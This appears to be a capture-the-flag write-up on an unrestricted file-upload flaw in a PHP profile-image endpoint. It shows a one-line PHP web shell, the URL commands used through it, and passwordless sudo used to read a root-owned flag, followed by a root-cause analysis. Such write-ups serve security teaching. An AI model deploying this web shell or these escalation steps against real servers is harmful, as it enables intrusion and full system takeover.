File Upload — Unrestricted Upload to RCE

Vulnerability Overview

A profile image upload endpoint performed no file type validation, allowing upload and execution of arbitrary PHP code. Combined with a catastrophically misconfigured sudo policy that granted the web server process unrestricted root access, the attack chain escalated from file upload to full system compromise.

Reconnaissance

Initial exploration confirmed the upload endpoint accepted any file type — a plain .txt file was accepted without restriction. The URL path /upload.php revealed a PHP backend, which is significant: PHP files uploaded to a web-accessible directory can be executed directly by the server.

Web Shell Deployment

A minimal PHP web shell was crafted and uploaded as shell.php:

<?php system($_GET['cmd']); ?>

The server accepted the upload and confirmed the file path: uploads/shell.php. Accessing the file directly and passing a command via the cmd parameter confirmed Remote Code Execution:

http://[target]/uploads/shell.php?cmd=ls

Privilege Escalation

Checking the current user's sudo permissions revealed a critical misconfiguration:

http://[target]/uploads/shell.php?cmd=sudo+-l

User www-data may run the following commands:
    (ALL) NOPASSWD: ALL

The web server process www-data had unrestricted passwordless sudo access — meaning any command executed through the web shell ran with effective root privileges. Reading the flag required a single command:

http://[target]/uploads/shell.php?cmd=sudo+cat+/root/flag.txt

Root Cause

Two independent failures created a complete attack chain. The upload endpoint validated neither file extension nor MIME type, allowing executable PHP to reach a web-accessible directory. The sudo misconfiguration then eliminated any privilege boundary between the web process and the underlying system.